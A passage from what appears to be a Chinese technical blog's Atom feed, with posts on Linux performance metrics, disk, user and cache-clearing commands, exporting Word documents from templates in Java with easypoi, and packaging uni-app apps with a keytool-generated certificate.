每秒上下文切换次数，例如我们调用系统函数，就要进行上下文切换，线程的切换，也要进程上下文切换，这个值要越小越好，太大了，要考虑调低线程或者进程的数目,例如在apache和nginx这种web服务器中，我们一般做性能测试时会进行几千并发甚至几万并发的测试，选择web服务器的进程可以由进程或者线程的峰值一直下调，压测，直到cs到一个比较小的值，这个进程和线程数就是比较合适的值了。系统调用也是，每次调用系统函数，我们的代码就会进入内核空间，导致上下文切换，这个是很耗资源，也要尽量避免频繁调用系统函数。上下文切换次数过多表示你的CPU大部分浪费在上下文切换，导致CPU干正经事的时间少了，CPU没有充分利用，是不可取的。</li><li>us 用户CPU时间，我曾经在一个做加密解密很频繁的服务器上，可以看到us接近100,r运行队列达到80(机器在做压力测试，性能表现不佳)。</li><li>sy 系统CPU时间，如果太高，表示系统调用时间长，例如是IO操作频繁。</li><li>id 空闲 CPU时间，一般来说，id + us + sy = 100,一般我认为id是空闲CPU使用率，us是用户CPU使用率，sy是系统CPU使用率。</li><li>wt 等待IO CPU时间。</li></ul>]]></content>
    
    
    <summary type="html">常用的linux操作指令 - 网络及端口操作</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="CenterOS" scheme="https://blog.allbs.cn/tags/CenterOS/"/>
    
  </entry>
  
  <entry>
    <title>常用的linux操作指令 - 磁盘操作</title>
    <link href="https://blog.allbs.cn/posts/16162/"/>
    <id>https://blog.allbs.cn/posts/16162/</id>
    <published>2022-07-28T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h4 id="查看磁盘挂载情况">查看磁盘挂载情况</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mount</span><br></pre></td></tr></table></figure><h4 id="查看磁盘分区信息">查看磁盘分区信息</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">df</span></span><br></pre></td></tr></table></figure><h4 id="查看目录及子目录大小">查看目录及子目录大小</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">du</span> -H -h</span><br></pre></td></tr></table></figure><h4 id="查看当前目录下各个文件-文件夹占了多少空间-不会递归">查看当前目录下各个文件, 文件夹占了多少空间, 不会递归</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">du -sh *</span><br></pre></td></tr></table></figure><h4 id="查看磁盘">查看磁盘</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fdisk -l</span><br></pre></td></tr></table></figure><h4 id="挂载磁盘">挂载磁盘</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mount /dev/vdb /home</span><br></pre></td></tr></table></figure><h4 id="配置开机挂载">配置开机挂载</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">修改配置文件</span></span><br><span class="line">vi /etc/fstab</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">配置开机挂载磁盘至home目录</span></span><br><span class="line">/dev/vdb /home ext4 defaults 0 0</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">常用的linux操作指令 - 磁盘操作</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="CenterOS" scheme="https://blog.allbs.cn/tags/CenterOS/"/>
    
  </entry>
  
  <entry>
    <title>常用的linux操作指令 - 用户相关</title>
    <link href="https://blog.allbs.cn/posts/17768/"/>
    <id>https://blog.allbs.cn/posts/17768/</id>
    <published>2022-07-28T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h4 id="新增用户组">新增用户组</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">groupadd user</span><br></pre></td></tr></table></figure><h4 id="新增用户">新增用户</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">useradd user -g user</span><br></pre></td></tr></table></figure><h4 id="变更文件所属用户-用户组">变更文件所属用户, 用户组</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">chown</span> -R user.user xxx.log</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">常用的linux操作指令 - 用户相关</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="CenterOS" scheme="https://blog.allbs.cn/tags/CenterOS/"/>
    
  </entry>
  
  <entry>
    <title>常用的linux操作指令 - 问题处理记录</title>
    <link href="https://blog.allbs.cn/posts/42216/"/>
    <id>https://blog.allbs.cn/posts/42216/</id>
    <published>2022-07-28T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h4 id="处理因系统原因引起的文件中特殊字符的问题">处理因系统原因引起的文件中特殊字符的问题</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 可以转换为该系统下的文件格式</span></span><br><span class="line"><span class="built_in">cat</span> file.sh &gt; file.sh_bak</span><br><span class="line"></span><br><span class="line"><span class="comment"># 先将file.sh中文件内容复制下来然后运行, 然后粘贴内容, 最后ctrl + d 保存退出</span></span><br><span class="line"><span class="built_in">cat</span> &gt; file1.sh</span><br><span class="line"></span><br><span class="line"><span class="comment"># 在vim中通过如下设置文件编码和文件格式</span></span><br><span class="line">:<span class="built_in">set</span> fileencodings=utf-8 ，然后 w （存盘）一下即可转化为 utf8 格式，</span><br><span class="line">:<span class="built_in">set</span> fileformat=unix</span><br><span class="line"></span><br><span class="line"><span class="comment"># 在mac下使用dos2unix进行文件格式化</span></span><br><span class="line">find . -name <span class="string">&quot;*.sh&quot;</span> | xargs dos2unix</span><br></pre></td></tr></table></figure><h4 id="tee-重定向的同时输出到屏幕">tee, 重定向的同时输出到屏幕</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">awk ‘&#123;<span class="built_in">print</span> <span class="variable">$0</span>&#125;’ xxx.log | <span class="built_in">tee</span> test.log</span><br></pre></td></tr></table></figure><h4 id="buff-cache-占用过大">buff/cache 占用过大</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/d6c8d8399b7043d04d0041efe51f9f02.png" alt="image-20220728093328239"></p><table><thead><tr><th>名称</th><th>含义</th></tr></thead><tbody><tr><td>total</td><td>计算机总物理内存，used + free</td></tr><tr><td>used</td><td>已用的内存</td></tr><tr><td>free</td><td>空余的内存</td></tr><tr><td>shared</td><td>被多个进程共享的内存</td></tr><tr><td>buffers</td><td>用于存放要输出到disk（块存储）的数据，在这里buff是指被OS buffer住的内存</td></tr><tr><td>cached</td><td>存放从disk上读出的数据；buffer和cache是为了提高IO性能并由OS管理。</td></tr></tbody></table><h5 id="查看drop-cache配置">查看drop cache配置</h5><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /proc/sys/vm/drop_caches</span><br></pre></td></tr></table></figure><h5 id="显示结果">显示结果</h5><table><thead><tr><th>状态</th><th>含义</th></tr></thead><tbody><tr><td>0</td><td>不释放（系统默认）</td></tr><tr><td>1</td><td>释放页缓存</td></tr><tr><td>2</td><td>清除回收slab分配器中的对象（包括目录项缓存和inode缓存）。slab分配器是内核中管理内存的一种机制，其中很多缓存数据实现都是用的pagecache</td></tr><tr><td>3</td><td>清除页缓存和slab分配器中的缓存对象</td></tr></tbody></table><h5 id="释放缓存">释放缓存</h5><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo 3 &gt; /proc/sys/vm/drop_caches</span><br></pre></td></tr></table></figure><h5 id="设置定时器定时清除">设置定时器定时清除</h5><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 进入/usr/local目录下</span></span><br><span class="line"><span class="built_in">cd</span> /usr/local</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建清除脚本</span></span><br><span class="line"><span class="built_in">touch</span> cleanBufferAndCache.sh</span><br><span class="line"></span><br><span class="line"><span class="comment"># 写入脚本内容，如果是在windows环境下记得切换下编码格式，如notepad++右下角切换为unix</span></span><br><span class="line"><span class="comment"># !/bin/bash </span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;Start cleaning buff/cache&quot;</span></span><br><span class="line"><span class="comment"># 将所有未写的系统缓冲区写到磁盘中</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">sync</span>;<span class="built_in">sync</span>;<span class="built_in">sync</span></span><br><span class="line"><span class="comment">#延迟5秒</span></span><br><span class="line"><span class="built_in">sleep</span> 5</span><br><span class="line"><span class="comment"># 释放页缓存</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">echo</span> 1 &gt; /proc/sys/vm/drop_caches</span><br><span class="line"><span class="comment"># 释放dentries和inodes</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">echo</span> 2 &gt; /proc/sys/vm/drop_caches</span><br><span class="line"><span class="comment"># 释放所有缓存</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">echo</span> 3 &gt; /proc/sys/vm/drop_caches</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;cleaning ending......&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加定时器</span></span><br><span class="line">crontab -e</span><br><span class="line"></span><br><span class="line"><span class="comment"># 定时器内容</span></span><br><span class="line">50 23 * * * /usr/local/cleanBufferAndCache.sh</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看定时器</span></span><br><span class="line">crontab -l</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">常用的linux操作指令 - 问题处理记录</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="CenterOS" scheme="https://blog.allbs.cn/tags/CenterOS/"/>
    
  </entry>
  
  <entry>
    <title>java根据word模版导出word文件</title>
    <link href="https://blog.allbs.cn/posts/49979/"/>
    <id>https://blog.allbs.cn/posts/49979/</id>
    <published>2022-07-08T07:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.054Z</updated>
    
    <content type="html"><![CDATA[<h2 id="制作模版">制作模版</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/69e6a3b6866af5f93fb92c4407f45098.png" alt=""></p><h2 id="引入依赖freemarker-和easypoi">引入依赖freemarker 和easypoi</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-freemarker<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.afterturn<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>easypoi-spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>4.2.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="放入项目中">放入项目中</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/093d8c39745f17ef19eb5282ea60b0df.png" alt=""></p><h2 id="加接口导出word">加接口导出word</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;downloadJbd/&#123;id&#125;&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">downloadJbd</span><span class="params">(<span class="meta">@PathVariable(&quot;id&quot;)</span> Long id, HttpServletRequest request, HttpServletResponse response)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="type">EpCheckEntity</span> <span class="variable">epCheckEntity</span> <span class="operator">=</span> epCheckService.infoById(id);</span><br><span class="line">    <span class="comment">//map存储word需要的数据</span></span><br><span class="line">    Map&lt;String, Object&gt; dataMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    dataMap.put(<span class="string">&quot;year&quot;</span>, LocalDate.now().getYear());</span><br><span class="line">    dataMap.put(<span class="string">&quot;person&quot;</span>, epCheckEntity.getTransferredPerson());</span><br><span class="line">    <span class="comment">//将数据指定key存储到map中</span></span><br><span class="line">    dataMap.put(<span class="string">&quot;mobile&quot;</span>, epCheckEntity.getTransferredPersonContact());</span><br><span class="line">    <span class="comment">// 备注</span></span><br><span class="line">    <span class="type">String</span> <span class="variable">remark</span> <span class="operator">=</span> <span class="string">&quot;这是备注内容&quot;</span>;</span><br><span class="line">    dataMap.put(<span class="string">&quot;remark&quot;</span>, StrUtil.isEmpty(epCheckEntity.getRemark()) ? remark : epCheckEntity.getRemark());</span><br><span class="line">    <span class="comment">//配置对象</span></span><br><span class="line">    <span class="type">XWPFDocument</span> <span class="variable">doc</span> <span class="operator">=</span> WordExportUtil.exportWord07(<span class="string">&quot;./template/交办单.docx&quot;</span>, dataMap);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//设置编码格式</span></span><br><span class="line">    response.setCharacterEncoding(StandardCharsets.UTF_8.name());</span><br><span class="line">    <span class="comment">//设置内容类型</span></span><br><span class="line">    response.setContentType(<span class="string">&quot;application/octet-stream&quot;</span>);</span><br><span class="line">    <span class="comment">//设置头及文件命名。</span></span><br><span class="line">    response.setHeader(<span class="string">&quot;Content-Disposition&quot;</span>, <span class="string">&quot;attachment;filename=&quot;</span> + URLEncoder.encode(<span class="string">&quot;交办单.docx&quot;</span>, StandardCharsets.UTF_8.name()));</span><br><span class="line">    <span class="comment">//写入</span></span><br><span class="line">    doc.write(response.getOutputStream());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="结果">结果</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/3d19d31989cb36f0aaee2b73558cb1d6.gif" alt=""></p><h2 id="在模版中填充签名，并上传至文件服务器">在模版中填充签名，并上传至文件服务器</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/4679f51ee923b613c4636af297ec8721.png" alt=""></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> org.apache.commons.codec.binary.Base64;</span><br><span class="line"><span class="keyword">import</span> org.apache.poi.xwpf.usermodel.XWPFDocument;</span><br><span class="line"></span><br><span class="line"><span class="meta">@PostMapping(&quot;submitReceipt&quot;)</span></span><br><span class="line"><span class="keyword">public</span> R <span class="title function_">submitReceipt</span><span class="params">(<span class="meta">@RequestBody</span> Map&lt;String, Object&gt; params, HttpServletRequest request, HttpServletResponse response)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="comment">// 前端传入需要获取的数据库主键，签名图片的base64，注意base64图片需要移除base64头部的`data:image/png;base64,`，领导批示内容</span></span><br><span class="line">    <span class="keyword">if</span> (!params.containsKey(<span class="string">&quot;id&quot;</span>) || !params.containsKey(<span class="string">&quot;qm&quot;</span>) || !params.containsKey(<span class="string">&quot;ps&quot;</span>)) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">ValidationException</span>(<span class="string">&quot;缺少必要参数&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 查询详情</span></span><br><span class="line">    <span class="type">EpCheckEntity</span> <span class="variable">checkEntity</span> <span class="operator">=</span> epCheckService.info(MapUtil.getLong(params, <span class="string">&quot;id&quot;</span>));</span><br><span class="line">    <span class="comment">// 数据</span></span><br><span class="line">    Map&lt;String, Object&gt; fillMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    fillMap.put(<span class="string">&quot;year&quot;</span>, LocalDate.now().getYear());</span><br><span class="line">    fillMap.put(<span class="string">&quot;unitName&quot;</span>, checkEntity.getUnitName());</span><br><span class="line">    fillMap.put(<span class="string">&quot;currentIndex&quot;</span>, params.get(<span class="string">&quot;currentIndex&quot;</span>));</span><br><span class="line">    fillMap.put(<span class="string">&quot;leadPerson&quot;</span>, checkEntity.getLeadPerson());</span><br><span class="line">    fillMap.put(<span class="string">&quot;submitTime&quot;</span>, LocalDateTime.now().format(DateTimeFormatter.ofPattern(DatePattern.NORM_DATETIME_PATTERN)));</span><br><span class="line">    fillMap.put(<span class="string">&quot;blockTime&quot;</span>, checkEntity.getBlockingTime().toInstant().atZone(ZoneId.systemDefault()).format(DateTimeFormatter.ofPattern(DatePattern.NORM_DATE_PATTERN)));</span><br><span class="line">    fillMap.put(<span class="string">&quot;transferredPerson&quot;</span>, checkEntity.getTransferredPerson());</span><br><span class="line">    fillMap.put(<span class="string">&quot;transferredPersonContact&quot;</span>, checkEntity.getTransferredPersonContact());</span><br><span class="line">    fillMap.put(<span class="string">&quot;remark&quot;</span>, checkEntity.getRemark());</span><br><span class="line">    fillMap.put(<span class="string">&quot;ps&quot;</span>, params.get(<span class="string">&quot;ps&quot;</span>));</span><br><span class="line">    <span class="keyword">if</span> (CollUtil.isNotEmpty(checkEntity.getProblemEntityList())) &#123;</span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">sb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; checkEntity.getProblemEntityList().size(); i++) &#123;</span><br><span class="line">            sb.append((i + <span class="number">1</span>));</span><br><span class="line">            sb.append(StringPool.DOT);</span><br><span class="line">            sb.append(checkEntity.getProblemEntityList().get(i).getProblemDescription());</span><br><span class="line">            sb.append(StringPool.SEMICOLON);</span><br><span class="line">        &#125;</span><br><span class="line">        fillMap.put(<span class="string">&quot;problems&quot;</span>, sb.toString());</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 开始处理签名图片</span></span><br><span class="line">    <span class="type">ImageEntity</span> <span class="variable">imageEntity</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ImageEntity</span>(Base64.decodeBase64(MapUtil.getStr(params, <span class="string">&quot;qm&quot;</span>)), <span class="number">100</span>, <span class="number">50</span>);</span><br><span class="line">    fillMap.put(<span class="string">&quot;qm&quot;</span>, imageEntity);</span><br><span class="line"></span><br><span class="line">    <span class="comment">//配置对象</span></span><br><span class="line">    <span class="type">XWPFDocument</span> <span class="variable">doc</span> <span class="operator">=</span> WordExportUtil.exportWord07(<span class="string">&quot;./template/交办单.docx&quot;</span>, fillMap);</span><br><span class="line">    <span class="type">String</span> <span class="variable">headIndex</span> <span class="operator">=</span> LocalDate.now().format(DateTimeFormatter.ofPattern(DatePattern.NORM_DATE_PATTERN)) + StringPool.DASH + String.format(<span class="string">&quot;%04d&quot;</span>, checkEntity.getCurrentIndex());</span><br><span class="line">    <span class="type">File</span> <span class="variable">outFile</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(headIndex + <span class="string">&quot;交办单.docx&quot;</span>);</span><br><span class="line">    doc.write(Files.newOutputStream(outFile.toPath()));</span><br><span class="line">    <span class="type">String</span> <span class="variable">uuidFileName</span> <span class="operator">=</span> UUID.randomUUID().toString();</span><br><span class="line">    <span class="keyword">try</span> (<span class="type">FileInputStream</span> <span class="variable">inputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(outFile)) &#123;</span><br><span class="line">        <span class="comment">// 上传交办单至minio服务器中，该minio用法见置顶文章allbs工具类中的minio部分</span></span><br><span class="line">        minioTemplate.putObject(<span class="string">&quot;receipt&quot;</span>, uuidFileName + <span class="string">&quot;.docx&quot;</span>, inputStream);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">        log.error(<span class="string">&quot;转换流错误&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 同时将附件保存至数据库中</span></span><br><span class="line">    <span class="keyword">return</span> R.ok(<span class="string">&quot;保存成功&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/b9df44d48ef8708824591d030efb3613.png" alt=""></p><h2 id="结果-2">结果</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/54f5e8aeb32b823075dbe4ac71a25bcb.png" alt=""></p>]]></content>
    
    
    <summary type="html">java根据word模版导出word文件</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="word" scheme="https://blog.allbs.cn/tags/word/"/>
    
  </entry>
  
  <entry>
    <title>uni-app打包示例</title>
    <link href="https://blog.allbs.cn/posts/3653/"/>
    <id>https://blog.allbs.cn/posts/3653/</id>
    <published>2022-07-05T05:35:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<h3 id="安装jdk">安装jdk</h3><h3 id="使用jre生成证书文件">使用jre生成证书文件</h3><h4 id="找到jre的bin目录">找到jre的bin目录</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/b4e3bf4082c3bb3dd2a5300e4ba3fb74.png" alt="image-20220706141552403"></p><h4 id="执行生成命令">执行生成命令</h4><p>keytool -genkey -alias <mark class="hl-label red">app名称</mark> -keyalg RSA -keysize 2048 -validity <mark class="hl-label red">过期天数</mark> -keystore <mark class="hl-label red">证书名称</mark></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 示例</span><br><span class="line">keytool -genkey -alias zwpad -keyalg RSA -keysize 2048 -validity 36500 -keystore zw.keystore</span><br></pre></td></tr></table></figure><div class="note blue icon-padding flat"><i class="note-icon fas fa-bullhorn"></i><p>📣  注意必须具有超级管理员权限</p><p>🖥️  windows可以cmd使用管理员打开</p><p>💻 mac可以sudo root</p></div><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/e33550acb0b140651bb1adde69e0ff64.png" alt="image-20220706142055179"></p><h3 id="将uni-app项目打包成apk">将uni-app项目打包成apk</h3><p>打开hbuilder菜单 发行-&gt;原生App-云打包</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/bbf5cd97c54d5f5e1696797ecc8ddf08.png" alt="image-20220706143511546"></p><h3 id="app更新时覆盖更新">app更新时覆盖更新</h3><p>包名和生成的签名必须一致才能让app覆盖更新</p><h3 id="去除Hbuilder的HTML5-Runtime-提示">去除Hbuilder的HTML5+ Runtime 提示</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/606ca45476bfb4dbd5f7b0d3a6229a4a.jpg" alt=""></p><p>修改manifest.json文件<br><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/08ad90cb523040364b4b05a0759fb48b.png" alt=""></p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">&quot;compatible&quot;</span> <span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;ignoreVersion&quot;</span> <span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line"><span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;安装jdk&quot;&gt;安装jdk&lt;/h3&gt;
&lt;h3 id=&quot;使用jre生成证书文件&quot;&gt;使用jre生成证书文件&lt;/h3&gt;
&lt;h4 id=&quot;找到jre的bin目录&quot;&gt;找到jre的bin目录&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://nas.allbs.cn:8888</summary>
      
    
    
    
    <category term="app" scheme="https://blog.allbs.cn/categories/app/"/>
    
    
    <category term="uni-app" scheme="https://blog.allbs.cn/tags/uni-app/"/>
    
    <category term="app" scheme="https://blog.allbs.cn/tags/app/"/>
    
    <category term="webview" scheme="https://blog.allbs.cn/tags/webview/"/>
    
    <category term="android" scheme="https://blog.allbs.cn/tags/android/"/>
    
    <category term="ios" scheme="https://blog.allbs.cn/tags/ios/"/>
    
  </entry>
  
  <entry>
    <title>git提交规范说明</title>
    <link href="https://blog.allbs.cn/posts/408f6a27/"/>
    <id>https://blog.allbs.cn/posts/408f6a27/</id>
    <published>2022-06-29T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
